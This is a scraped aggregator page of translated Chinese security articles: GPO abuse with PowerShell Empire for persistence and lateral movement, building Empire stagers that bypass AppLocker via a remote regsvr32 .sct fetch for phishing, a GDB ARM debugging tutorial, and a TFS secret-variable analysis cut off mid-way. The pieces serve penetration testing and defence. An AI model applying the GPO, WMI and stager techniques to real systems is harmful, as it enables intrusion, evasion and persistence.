Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

$
0
0
【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

2017-08-02 10:23:10

阅读:254次
点赞(0)
收藏
来源: www.sicherheitsforschung-magdeburg.de





【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

作者:興趣使然的小胃






【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

组策略(Group Policy)是windows提供的一种功能,可以为操作系统、应用以及用户设置提供集中式的管理及配置功能。对于网络中基于活动目录域服务(Active Directory Domain Service、AD DS)的计算机以及用户设置来说,组策略是访问并配置这些组件的最为简单的一种方法。企业环境中广泛使用组策略来控制客户端及服务器配置选项,如注册表设置、安全选项、脚本、文件目录、软件安装及维护等等。具体的设置信息存放于组策略对象(Group Policy Objects、GPOs)中,对于已被攻击者突破的域而言,攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的。Phineas Fishers写过一篇如何搞定HackingTeam的文章,我们的灵感正是源自于此,在这篇文章中,我们会向大家介绍如何利用GPO在已被突破的企业网络中实现持久化及横向渗透,也会展示我们创建的某些Powershell Empire模块。Powershell Empire框架包含各种广泛使用的Powershell工具,攻击者经常在已突破的环境中,根据实际需求利用这一框架进一步破坏系统。Powershell Empire框架中已经内置了一些GPO功能,我们想在其他场景中进一步拓展GPO的能力。此外,我们也会在本文中讨论一些应对措施,包括检测及防护机制等。


二、具体分析

当售卖间谍软件的意大利公司被突破后,去年有人发表了一份报告介绍了整个攻击的具体过程。同样也是这个人成功搞定了一个销售木马及其他黑客工具的德国英国合资公司,这一事件也上了新闻头条。这份报告由攻击者自己发布,对攻击中用到的技术做了深度的分析。报告的结论非常吸引人,因为这类攻击属于传统意义上的高级持续威胁(Advanced Persistent Threat,APT)攻击。此类攻击者通常更为细心,以便长期潜伏在目标网络中,攻陷更多系统,收集大量数据。

分析这份报告的同时,我们注意到一下两段话:

1、远程管理(第565行)

5)GPO

在这些协议已经被防火墙禁用或者阻拦的情况下,如果你是域管理员,你可以使用GPO给用户设置登录脚本、安装msi文件、执行计划任务,或者使用GPO来启用WMI并打开防火墙。

2、持久化(第726行)

对企业目标来说,持久化不是一个必需的选择,因为企业永远不会入睡。我一贯使用方法是类似于Duqu 2的持久化技术,即在多台长时间运行的服务器的内存中运行后门程序。

在报告的第一部分中,作者将GPO作为攻击性工具的想法非常有趣。使用GPO来传播恶意软件或者部署非法配置是一种非常有效的方法,因为当恶意软件经过GPO进行传播时(这种方法类似于PowerShell的使用),这一过程利用到了Windows域管的身份以及合法的系统内置工具。恶意软件可以利用GPO穿越IDS/IPS等防火墙,最终访问到域内所有的系统。此外,GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。即使首次攻击发生于几星期之前,这种持续性攻击同样能够奏效。此外,GPO经常随着时间的推进而不断增长,在微软活动目录中的存储及链接状态也会越来越混乱,并且管理员经常会忽略命名约定,很少会去删除已经失效的GPO,这些都给攻击者滥用GPO创造了良机。

报告的第二部分中比较有趣的一点,是作者将后门部署在非常稳定的服务器的内存中,以保持对目标网络的持续控制。当被注入后门的系统重启后,内存型后门马上会失效。但这一情况不会对高度稳定的多个服务器造成影响,因为这些服务器不可能在同一时间重新启动。

系统管理员会使用多种工具对公司进行管理。与此类似的是,黑客攻击者或者渗透测试人员也会在APT场景中使用多种工具来进一步渗透目标环境。这类框架提供了各种各样的功能选项,比如管理目标系统、评测更多目标、部署后门、提升权限或者窥探用户隐私等。

大约1年之前,PowerShell Empire这一强大的框架诞生了,能够满足以上提到的所有需求,并且也处于不断的发展中。模块化的PowerShell Empire最大的一个优点就是在目标系统中只会留下非常少的痕迹。反病毒软件或者端点防护软件并不会将PowerShell命令的执行识别为恶意行为,因为PowerShell是Windows系统中内置的合法工具。

此外,工具与命令控制(Comand & Control)服务器的通讯也经过加密处理,并且大多数模块能够不依托目标系统的硬盘,完全在内存中执行。由于恶意代码完全没有接触硬盘,因此反病毒软件以及端点防护软件更加难以检测此类攻击。如果攻击中需要将数据保存到硬盘中,Empire模块的开发者建议攻击者将该模块的opsec-safe属性去掉。

结合以上两部分内容提到的思想,我们开发了多个PowerShell Empire模块。这些模块利用GPO实现了自动化处理过程,能够为合法的渗透测试者提供帮助,也能为红队人员的后续渗透工作提供支持。唯一的前提条件就是使用者必须已经获得域管级别的访问权限。

我们开发完成的模块如表1所示。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

表1. 已开发的模块

为了完成不同的目标,这些模块需要以多种方式组合使用,如图1所示。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

图1. 使用GPO攻击目标网络

2.1 场景1:内存中的模块

攻击者会在本地启动一个PowerShell Empire监听端(Listener),然后在目标域控上运行对应的启动端(Launcher),再回连到监听端。由于大多数防火墙都不会阻拦出站端口,因此连接可以顺利建立。攻击者可以使用getGPO模块,读取所有的GPO信息,记录这些GPO的UUID,并且添加恶意的设置内容(如图2所示)。通过setGpRegistryValue模块,攻击者可以在目标主机上创建run或者run once注册表键值。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

图2. PowerShell Empire中的getGPO模块

这些模块可以再次执行包含启动端的PowerShell代码,从目标系统内回连至攻击者。

2.2 场景2:操控Windows防火墙并启动服务

在另一个场景中,攻击者创建了到域控服务器的连接。攻击者在这个场景中的目标是操控Windows防火墙规则、启动WMI(Windows Management Instrumentation)服务,然后在经过安全加固的环境中执行远程发送的命令。首先,攻击者可以使用getGPO模块读取已有的组策略。找到合适的GPO之后,攻击者可以使用newGpFirewallRule模块将恶意防火墙规则添加到GPO中(如图3所示)。这个规则能够允许任意入站TCP连接连入目标系统。newGpSetServiceStatus模块可以启动目标系统上的WMI服务。默认情况下,GPO需要等待90分钟才能发挥作用,为了绕过这一限制,攻击者可以使用invokeGPUpdate模块,第一时间启用WMI服务的远程访问。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

图3. PowerShell Empire中的new_GPO_Firewall_Rule模块

一旦拥有多台目标主机的远程WMI访问权限,攻击者就可以执行其他操作,比如搜索本地文件等等。与在远程桌面协议(RDP)连接中手动搜索文件相比,这种搜索文件的方式显得更具可扩展性、更加快速以及更为隐蔽。

对于虚拟的Corp.com这个公司来说,一旦域内所有系统的防火墙处于无效状态,并且WMI服务器处于启用状态,那么被修改的GPO会推送到所有可达的系统中,攻击者可以向WMI服务远程发送命令。

为了远程搜索某个本地文件(如proof.txt),攻击者可以在C盘上使用如下WMI命令:

Get-Content<listofIPs>|ForEach-Object{GetwmiobjectCIM_DataFile-filterDrive=’c:’ANDFilename=’proof’ANDextension=’txt’-Impersonate3-computername$_|SelectPSComputername,Name-Unique}

结果如图4所示。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

图4. 使用远程WMI搜索本地文件


三、相应的防御策略

通常情况下,被恶意利用的域管账户是一个严重的安全隐患,并且需要花费很多时间才能解决这一问题。管理员应该立刻禁用具备管理员权限的可疑账户或者重置管理员账户的密码。然而,为了确保未经授权的第三方人员访问内部系统,我们还需要具备更多的专业知识。

我们可以使用如下防御策略:

1、定期审核GPO。

2、为GPO使用定义清晰的命名约定。

3、修改入侵检测系统,覆盖如下范围:

(1)记录GPO的创建动作

(2)记录GPO的修改动作

4、限制管理员用户的权限。

5、限制运行管理工具所能获得的访问权限。

在我们的研究过程中,我们提取了域控服务器上组策略文件夹的哈希值以便后续使用。利用之前提取的哈希信息,我们能避免攻击者对GPO的恶意篡改。类似的策略已经在基于主机的入侵检测系统中使用过。

与其费尽心思修复被突破的系统,我们不如采取预防措施,使APT攻击者的攻击难以奏效。典型的APT场景通常可以分为四个阶段:准备阶段、感染阶段、部署阶段以及驻留阶段。这些阶段是一个循环过程,在最初突破目标网络后,攻击者可以不断重复这些过程拓展攻击行动。APT攻击的生命周期如图5所示。


【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用

图5. APT生命周期

不幸的是,目前我们尚未掌握一体化的解决方案来预防APT攻击。根据APT攻击的不同阶段,我们建议采用不同的措施,如:

1、(Web应用)防火墙。

2、对网络进行切割。

3、使用网络访问控制(NAC)策略。

4、主动安装软件及操作系统更新包。

5、对暴露在互联网中的系统或高度机密/敏感的系统部署多因素认证机制。

6、监控安全事件。

7、定期进行渗透测试。

8、进行IT安全意识培训。

9、根据“最小权限”原则限制访问权限。

10、部署端点控制软件。

11、使用应用程序白名单。

12、与同行业的其他公司建立安全联盟。

“深度防御”原则指的是使用多层次的安全控制策略以缓解甚至阻止攻击活动,节省出来的时间可以用来检测攻击者正在进行的攻击活动。我们部署的安全策略越多,攻击者所需要付出的成本及资源也就越多。APT生命周期中每个阶段都应该包含多条防线。防御网络越紧密,攻击者可以利用的突破点就越少。




【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用
【技术分享】BadGPO:组策略对象在持久化及横向渗透中的应用
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.sicherheitsforschung-magdeburg.de/uploads/journal/MJS_052_Willi_GPO.pdf

【技术分享】如何不调用PowerShell.exe获得Empire agent

$
0
0
【技术分享】如何不调用PowerShell.exe获得Empire agent

2017-08-02 11:09:13

阅读:716次
点赞(0)
收藏
来源: 安全客





【技术分享】如何不调用PowerShell.exe获得Empire agent

作者:myswsun





【技术分享】如何不调用PowerShell.exe获得Empire agent

译者:myswsun

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


0x00 前言

客户端已经使用Applocker来禁用PowerShell.exe,并且我买不起Cobalt Strike。但我又想通过一个钓鱼活动来在工作站中获得一个Empire payload。对于Empire的启动方式,几乎全部都依赖PowerShell.exe的使用。其他的方式(类似msbuild.exe)需要在磁盘释放一个文件,并且我真的很喜欢regsvr32的方式,其可以通过网络来加载我的.sct文件(它也会在磁盘中释放一个文件)或者使用ducky的方式。我也很喜欢在文档中使用VBA或者HTA的方式的便捷。问题是,Empire是一个PowerShell RAT,因此必须运行PowerShell。

建议使用的方式是调用Empire.dll或者通过网络SMB共享调用Empire.exe。虽然我没有尝试这种方法,但是我确信它是有效的。对于SMB的方式,我不喜欢的地方是会有一个外连的SMB连接,在任何观察流量的防御者眼中这都是非常可疑的。

现在我需要3种payload:

1. 生成一个empire.exe

2. 生成一个empire.dll

3. 生成一个不调用powershell.exe的empire.sct

我将使用的工具和资源如下:

1. @sixdub的SharpPick代码库

2. James Foreshaw (@tiraniddo)的DotNetToJS

3. Casey Smith (@subtee)的AllTheThings

4.Visual Studio。不是必要的。你可以使用csc.exe来生成你的项目,但是我没有测试过。我选择使用Visual Studio 2010来生成PowerPick,尽管2012可能更好。据我所知,那将会下载大量东西。好处是2010/2012中包含了老的.NET库(变得越来越难找到)。

如果没有上述作者的贡献,我将无法完成这个,我非常感谢他们。下面我将将这些伟大的工作组合到一起来实现我之前未能找到过的成果。

注意:在我的研究中,我发现了两个项目也做了几乎同样的事情,他们都是使用DotNetToJScript,但是对我并不适用。

1. StarFighters (@Cn33liz)。首先,我非常喜欢通过网络运行编码过的二进制文件。这个包含了一个编码的powershell.exe,其接收并执行你的启动器的代码。我尝试了下,能得到一个Empire,但是不能执行脚本。

2. CACTUSTORCH (@vysecurity)。我也试用了这个,但是我不想注入shellcode到启动的二进制中,而且我不知道如何使用SharpPick将我的启动器转化为shellcode。它可能是可行的,只是我不知道而已。例子中,@vysecurity 的提供了使用Cobalt Strike或者Meterpreter shellcode的输出的方式。


0x01 生成一个Empire.exe

我经常看到Cobalt Strike使用“updates.exe”,它是一个定期的信号发送器。对于Empire,你能使用这种方式来做到类似的东西。将它添加到邮件内容中去,建议需要安装新的防病毒软件。或者通过WMI/psexec来运行它,或者在Outlook中作为一个内嵌的OLE对象(@tyler_robinson)。

这可能是不调用PowerShell.exe而获得一个agent的最简单的一种方式。

通过git来得到一份PowerPick的拷贝,并在Visual Studio中打开项目。

首先,你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick 属性”来做到。确保修改“输出类型”为“windows应用程序”,以便当你双击运行或者从CLI执行后,它能在后台运行。


【技术分享】如何不调用PowerShell.exe获得Empire agent

点击“程序集信息”按钮,并修改属性。


【技术分享】如何不调用PowerShell.exe获得Empire agent

现在你还要将Program.cs中的代码修改如下:


【技术分享】如何不调用PowerShell.exe获得Empire agent

字符串“stager”只包含base64编码的Empire启动器的信息。它需要解码并传给RunPS()函数,该函数将PowerShell命令发送给System.Management.Automation,这里是PowerShell的魅力所在。将直接进入Windows核心。

现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于“PowerTools\Empire_SCT\PowerPick\bin\x86\Debug”。

你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”,并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。

双击可执行文件来测试下二进制文件,或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。


0x02 生成一个Empire.dll

有可能你会需要一个DLL,以便你能使用Casey找到的那些绕过Applocker的方法。它也可以通过rundll32.exe运行。为了实现这个,我们稍微改变下我们的项目,在代码中添加一些入口点。下面的代码直接来自于@subtee的AllTheThings。

不像EXE,只要打开项目并改变一些配置。更重要的是你要在项目属性中将“输出类型”修改为“类库”。你还应该设置你的“启动对象”为默认值(基于命名空间和类名)。


【技术分享】如何不调用PowerShell.exe获得Empire agent

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过下面命令来安装依赖库“UnmanagedExports”:


【技术分享】如何不调用PowerShell.exe获得Empire agent

再次选择“生成-生成解决方案”或者点击“F6”,能在生成目录中生成一个LegitLibrary.dll。

运行下面的命令测试你的DLL:


【技术分享】如何不调用PowerShell.exe获得Empire agent

这将返回一个新的agent到你的Empire C2。如果你在Process Explorer中观察,你能看到rundll32进程。


0x03 生成一个Empire.sct

这可能是最复杂的地方,因为它涉及一系列操作。最终的流程应该如下:填充PowerShell到一个.NET应用中,将.NET应用转化为base64编码的二进制并存于javascript文件中,然后填充到.sct文件中。你能使用regsvr32来调用sct,其将在你的web或文件服务器上运行.SCT中的JavaScript。

我们的目标是Empire.exe payload(base64编码后的)。项目选项应该和Empire.exe的相同,就是“Windows应用程序”。代码有点不同,因为JavaScript需要公共方法来执行你的代码(参考)。


【技术分享】如何不调用PowerShell.exe获得Empire agent

生成解决方案,找到生成的二进制文件,它应该是一个EXE。

接着,下载DotNetToJScript,并在Visual Studio中打开项目,在项目选项中将.NET目标改为“.NET 版本 3.5”(或者2.0),并生成它。一旦生成完成,找到DotNetToJScript.exe和NDesk.Options.dll,把他们和LegitScript.exe放在同一个目录中。

运行下面的命令(-c是入口点,改为你选择的命令空间.类):


【技术分享】如何不调用PowerShell.exe获得Empire agent

将得到一个JavaScript脚本文件legitscript.js。DotNetToJScript输出可以有多种语言格式,包括VBScript和内嵌到Office文档中的VBA,或者其他你需要的。

通过运行下面的命令来测试下脚本:


【技术分享】如何不调用PowerShell.exe获得Empire agent

在你的工作站后台应该启动了一个新的agent。它运行于wscipt进程中。

如果你确认一切就绪,现在就可以包装一个.sct文件,以便我们能使用regsvr32.exe来调用。

将legitscript.js的全部内容放置于CDATA标签中(如下图)。通过下面的命令在Empire中得到XML格式。


【技术分享】如何不调用PowerShell.exe获得Empire agent

这个设置不重要,但是能作为你的监听器来确保“OutFile”被设置为null或“”,因为这将打印内容到屏幕上。如果你从Empire中得到内容,清空CDATA标签中的内容,并用legitscript.js的内容替代。


【技术分享】如何不调用PowerShell.exe获得Empire agent

保存为2legit.sct,使用下面命令测试:


【技术分享】如何不调用PowerShell.exe获得Empire agent

你将再次得到一个新的agent。将这个.sct文件保存到你的web或者文件服务器上,使用“/i:https://example.com/2legit.sct&#8221”能远程调用。这能绕过Applocker,因为regsvr32.exe是微软签名的二进制文件。


0x04 总结

PowerShell非常好用,攻击者已经使用它很多年了。最好的建议是保持客户端环境为PowerShell受限模式,禁用PowerShell v2,并升级PowerShell最新版(支持脚本块日志)。阻止PowerShell在你的环境中运行非常困难且几乎不太实际,因此至少要知道何时和如何使用它。



【技术分享】如何不调用PowerShell.exe获得Empire agent
【技术分享】如何不调用PowerShell.exe获得Empire agent
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4187.html

【技术分享】利用GDB调试ARM代码

$
0
0
【技术分享】利用GDB调试ARM代码

2017-08-02 13:13:28

阅读:735次
点赞(0)
收藏
来源: azeria-labs.com





【技术分享】利用GDB调试ARM代码

作者:shan66






【技术分享】利用GDB调试ARM代码

译者:shan66

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


在本文中,我们将简要介绍如何利用GDB完成ARM二进制文件的编译和基本调试。当然,阅读过程中,如果读者想要对ARM汇编代码动手进行实验的话,则需要准备一个备用的ARM设备,或者在虚拟机中设置相应的实验室环境,具体操作请参考How-To这篇文章。

此外,您还将通过下面取自 Part 7 – Stack and Functions这篇文章中的代码来熟悉GDB的基本调试功能。

.section.text .global_start _start: push{r11,lr}/*Startoftheprologue.SavingFramePointerandLRontothestack*/ addr11,sp,#0/*Settingupthebottomofthestackframe*/ subsp,sp,#16/*Endoftheprologue.Allocatingsomebufferonthestack*/ movr0,#1/*settinguplocalvariables(a=1).Thisalsoservesassettingupthefirstparameterforthemaxfunction*/ movr1,#2/*settinguplocalvariables(b=2).Thisalsoservesassettingupthesecondparameterforthemaxfunction*/ blmax/*Calling/branchingtofunctionmax*/ subsp,r11,#0/*Startoftheepilogue.ReadjustingtheStackPointer*/ pop{r11,pc}/*Endoftheepilogue.RestoringFramepointerfromthestack,jumpingtopreviouslysavedLRviadirectloadintoPC*/ max: push{r11}/*Startoftheprologue.SavingFramePointerontothestack*/ addr11,sp,#0/*Settingupthebottomofthestackframe*/ subsp,sp,#12/*Endoftheprologue.Allocatingsomebufferonthestack*/ cmpr0,r1/*Implementationofif(a<b)*/ movltr0,r1/*ifr0waslowerthanr1,storer1intor0*/ addsp,r11,#0/*Startoftheepilogue.ReadjustingtheStackPointer*/ pop{r11}/*restoringframepointer*/ bxlr/*Endoftheepilogue.JumpingbacktomainviaLRregister*/

就个人而言,我更喜欢使用作为GDB增强版的GEF,它用起来要更加得心应手,具体下载地址https://github.com/hugsy/gef

将上述代码保存到名为max.s的文件中,然后使用以下命令进行编译:

$asmax.s-omax.o $ldmax.o-omax

这个调试器是一个强大的工具,可以:

在代码崩溃后加载内存dump(事后剖析调试)

附加到正在运行的进程(用于服务器进程)

启动程序并进行调试


根据二进制文件、核心文件或进程ID启动GDB:

附加到一个进程:$ gdb -pid $(pidof <process>)

调试二进制代码:$ gdb ./file

检查内核(崩溃)文件:$ gdb -c ./core.3243

$gdbmax

如果您安装了GEF,将会显示gef>提示符。

可以通过下列方式获取帮助:

(gdb) h

(gdb) apropos <search-term>

gef>aproposregisters collect--Specifyoneormoredataitemstobecollectedatatracepoint core-file--UseFILEascoredumpforexaminingmemoryandregisters infoall-registers--Listofallregistersandtheircontents infor--Listofintegerregistersandtheircontents inforegisters--Listofintegerregistersandtheircontents maintenanceprintcooked-registers--Printtheinternalregisterconfigurationincludingcookedvalues maintenanceprintraw-registers--Printtheinternalregisterconfigurationincludingrawvalues maintenanceprintregisters--Printtheinternalregisterconfiguration maintenanceprintremote-registers--Printtheinternalregisterconfigurationincludingeachregister's p--PrintvalueofexpressionEXP print--PrintvalueofexpressionEXP registers--Displayfulldetailsonone setmay-write-registers--Setpermissiontowriteintoregisters setobserver--Setwhethergdbcontrolstheinferiorinobservermode showmay-write-registers--Showpermissiontowriteintoregisters showobserver--Showwhethergdbcontrolstheinferiorinobservermode tuiregfloat--Displayonlyfloatingpointregisters tuireggeneral--Displayonlygeneralregisters tuiregsystem--Displayonlysystemregisters 断点命令:

break (or just b) <function-name>

break <line-number>

break filename:function

break filename:line-number

break *<address>

break +<offset>

break –<offset>

tbreak (设置一个临时断点)

del <number> (删除编号为x的断点)

delete (删除所有断点)

delete <range>(删除指定编号范围内的断点)

disable/enable <breakpoint-number-or-range> (不删除断点,只是启用/禁用它们)

continue (or just c) – (继续执行,直到下一个断点)

continue <number> (继续,但忽略当前断点指定次数。对循环内的断点非常有用)

finish继续,直至函数末尾)

gef>break_start gef>infobreak NumTypeDispEnbAddressWhat 1breakpointkeepy0x00008054<_start> breakpointalreadyhit1time gef>del1 gef>break*0x0000805c Breakpoint2at0x805c gef>break_start

这将删除第一个断点,并在指定的内存地址处设置一个断点。当您运行程序时,它将在这个指定的位置停下来。 如果不删除第一个断点,然后又设置一个断点并运行,则它还是在第一个断点处停下来。

启动和停止:

启动一个程序,从头开始执行

run

r

run <command-line-argument>

停止程序的运行

kill

退出GDB调试器

quit

q

gef>run
【技术分享】利用GDB调试ARM代码

现在,我们的程序在指定的位置停下来了,这样就可以开始检查内存了。 命令“x”可以用来以各种格式显示内存内容。

语法 : x/<count><format><unit>

格式单位

x – 十六进制 b - 字节

d - 十进制h - 半字(2字节)

i - 指令w - 字(4字节)

t - 二进制(two)g - 巨字(8字节)

o - 八进制

u - 无符号整数

s - 字符串

c - 字符

gef>x/10i$pc =>0x8054<_start>:push{r11,lr} 0x8058<_start+4>:addr11,sp,#0 0x805c<_start+8>:subsp,sp,#16 0x8060<_start+12>:movr0,#1 0x8064<_start+16>:movr1,#2 0x8068<_start+20>:bl0x8074<max> 0x806c<_start+24>:subsp,r11,#0 0x8070<_start+28>:pop{r11,pc} 0x8074<max>:push{r11} 0x8078<max+4>:addr11,sp,#0 gef>x/16xw$pc 0x8068<_start+20>:0xeb0000010xe24bd0000xe8bd88000xe92d0800 0x8078<max+4>:0xe28db0000xe24dd00c0xe15000010xb1a00001 0x8088<max+20>:0xe28bd0000xe8bd08000xe12fff1e0x00001741 0x8098:0x616561000x010069620x0000000d0x01080206 用于单步调试的命令:单步执行下一条命令。可以进入函数内部

stepi

s

step <number-of-steps-to-perform>

执行下一行代码。不会进入函数内部

nexti

n

next <number>

继续处理,直到达到指定的行号、函数名称、地址、文件名函数或文件名:行号

until

until <line-number>、

显示当前行号以及所在的函数

where

gef>nexti5 ... 0x8068<_start+20>bl0x8074<max><-$pc 0x806c<_start+24>subsp,r11,#0 0x8070<_start+28>pop{r11,pc} 0x8074<max>push{r11} 0x8078<max+4>addr11,sp,#0 0x807c<max+8>subsp,sp,#12 0x8080<max+12>cmpr0,r1 0x8084<max+16>movltr0,r1 0x8088<max+20>addsp,r11,#0

使用info registers或i r命令检查寄存器的值

gef>inforegisters r00x11 r10x22 r20x00 r30x00 r40x00 r50x00 r60x00 r70x00 r80x00 r90x00 r100x00 r110xbefff7e83204446184 r120x00 sp0xbefff7d80xbefff7d8 lr0x00 pc0x80680x8068<_start+20> cpsr0x1016

命令“info registers”能够提供当前的寄存器状态。 我们可以看到,这里包括通用寄存器r0-r12,专用寄存器SP、LR和PC,以及状态寄存器CPSR。 函数的前四个参数通常存储在r0-r3中。 在这种情况下,我们可以通过手动方式将其值移动到r0和r1。

显示进程内存映射:

gef>infoprocmap process10225 Mappedaddressspaces: StartAddrEndAddrSizeOffsetobjfile 0x80000x90000x10000/home/pi/lab/max 0xb6fff0000xb70000000x10000[sigpage] 0xbefdf0000xbf0000000x210000[stack] 0xffff00000xffff10000x10000[vectors] 通过命令“disassemble”,我们可以查看函数max的反汇编输出。
gef>disassemblemax Dumpofassemblercodeforfunctionmax: 0x00008074<+0>:push{r11} 0x00008078<+4>:addr11,sp,#0 0x0000807c<+8>:subsp,sp,#12 0x00008080<+12>:cmpr0,r1 0x00008084<+16>:movltr0,r1 0x00008088<+20>:addsp,r11,#0 0x0000808c<+24>:pop{r11} 0x00008090<+28>:bxlr Endofassemblerdump.

GEF特有的命令(可以使用命令“gef”查看更多命令):

将所有已加载的ELF镜像的所有节dump到进程内存中

X档案

proc map的增强版本,包括映射页面中的RWX属性

vmmap

给定地址的内存属性

xinfo

检查运行的二进制文件内置的编译器级保护措施

checksec

gef>xfiles StartEndNameFile 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max 0x000080540x00008094.text/home/pi/lab/max gef>vmmap StartEndOffsetPermPath 0x000080000x000090000x00000000r-x/home/pi/lab/max 0xb6fff0000xb70000000x00000000r-x[sigpage] 0xbefdf0000xbf0000000x00000000rwx[stack] 0xffff00000xffff10000x00000000r-x[vectors] gef>xinfo0xbefff7e8 ----------------------------------------[xinfo:0xbefff7e8]---------------------------------------- Found0xbefff7e8 Page:0xbefdf000->0xbf000000(size=0x21000) Permissions:rwx Pathname:[stack] Offset(frompage):+0x207e8 Inode:0 gef>checksec [+]checksecfor'/home/pi/lab/max' Canary:No NXSupport:Yes PIESupport:No RPATH:No RUNPATH:No PartialRelRO:No FullRelRO:No

故障排除

为了更高效地使用GDB进行调试,很有必要了解某些分支/跳转的目标地址。 某些(较新的)GDB版本能够解析分支指令的地址,并能显示目标函数的名称。 例如,下面是缺乏这些功能的GDB版本的输出内容:

... 0x000104f8<+72>:bl0x10334 0x000104fc<+76>:movr0,#8 0x00010500<+80>:bl0x1034c 0x00010504<+84>:movr3,r0 ...

而下面则是提供了上述功能的GDB版本的的输出结果:

0x000104f8<+72>:bl0x10334<free@plt> 0x000104fc<+76>:movr0,#8 0x00010500<+80>:bl0x1034c<malloc@plt> 0x00010504<+84>:movr3,r0

如果您的GDB版本中没有提供这些功能,可以升级linux(前提是它们提供了更新的GDB),或者自己编译较新的GDB。 如果您选择自己编译GDB,可以使用以下命令:

cd/tmp wgethttps://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz tarvxzfgdb-7.12.tar.gz sudoapt-getupdate sudoapt-getinstalllibreadline-devpython-devtexinfo-y cdgdb-7.12 ./configure--prefix=/usr--with-system-readline--with-python&&make-j4 sudomake-j4-Cgdb/install gdb--version

我使用上面提供的命令来下载、编译和运行Raspbian(jessie)上的GDB,并且没有遇到任何问题。同时,这些命令也将取代以前版本的GDB。如果您不想这样做的话,请跳过以单词install结尾的命令。此外,我在QEMU中模拟Raspbian时也是这样做的,不过这个过程非常耗时,大概需要几个小时,因为模拟环境的资源(CPU)有限。 我使用的GDB版本为7.12,但是你还可以使用更高的版本,为此可以点击此处查看其他版本。




【技术分享】利用GDB调试ARM代码
【技术分享】利用GDB调试ARM代码
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/debugging-with-gdb-introduction/

【技术分享】如何解密TFS的秘密变量

$
0
0
【技术分享】如何解密TFS的秘密变量

2017-08-02 18:20:44

阅读:128次
点赞(0)
收藏
来源: lowleveldesign.org





【技术分享】如何解密TFS的秘密变量

作者:興趣使然的小胃






【技术分享】如何解密TFS的秘密变量

译者:興趣使然的小胃

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


什么是 TFS(Team Foundation Server)?

Team Foundation Server 提供一组协作软件开发工具,它与你现有的 IDE 或编辑器集成,从而使你的跨功能团队可以在所有大小的软件项目上高效工作。

引用自https://www.visualstudio.com/zh-hans/tfs/


一、前言

TFS的每个生成(build)及发布(release)定义中都包含一组自定义变量,并且会在随后的build/release管道中使用这些变量作为参数用于PowerShell/批处理脚本、配置文件转换或者其他子任务。从一个任务中访问这些变量类似于访问进程环境变量。由于TFS使用了非常详细的日志记录,因此我们经常可以在build日志中发现明文形式的具体变量值。这也是微软使用秘密变量的原因之一。

TFS的生成配置面板示例如下所示,其中有个秘密变量amiprotected(注意图中高亮的小锁图标):


【技术分享】如何解密TFS的秘密变量

当秘密变量被保存之后,我们再也无法通过网页面板读取这个值(当你点击小锁图标时,文本框会被清空)。

当我们将秘密变量传递给PowerShell脚本并打印这个变量时,对应的输出日志如下所示:


【技术分享】如何解密TFS的秘密变量

现在让我们来探索一下这些秘密变量具体存储的位置及过程。


二、秘密变量存储的过程

为了分析TFS存储秘密变量的具体过程,我一开始检查的是TFS的数据库服务器。不同的团队集合都有独立的数据库与之对应。每个数据库会将表(table)分组为名字易于理解的schema,比如Build、Release或者TfsWorkItemTracking。此外,默认的dbo schema中也包含一些表。我们的秘密变量属于生成定义的一部分,因此我们可以来检查一下Build这个schema。tbl_Definition看上去像是个可行的方法。这个表的前几列如下所示:


【技术分享】如何解密TFS的秘密变量

其中,Variables这一列以JSON格式列出了所有的变量。不幸的是,我无法了解关于我们的秘密变量的更多信息(除了得知它是个秘密变量之外)。因此,我开始搜索是否存在名字为“tbl_Variables”或者“tbl_Secrets”的表,但一无所获。抱着最后一丝希望,我使用了procmon这个工具,这个工具也是我在实在没办法的时候一直使用的一个工具。利用这个工具,我跟踪了秘密变量保存时的路径,在这个路径中发现了一些有趣的信息:


【技术分享】如何解密TFS的秘密变量

我选择其中一条记录,检查它的调用栈:


【技术分享】如何解密TFS的秘密变量

现在我需要使用一个小技巧,来解码procmon跟踪路径中的frame信息。最后一个frame指向的是TeamFoundationStrongBoxService.AddStream方法。这个类的名称非常特别,因此我特意在数据库中查找了一下相关信息,很快就找到了一些较为有趣的表。

tbl_StrongBoxDrawer表:


【技术分享】如何解密TFS的秘密变量

tbl_StrongBoxItem表:


【技术分享】如何解密TFS的秘密变量

以及tbl_SigningKey表:


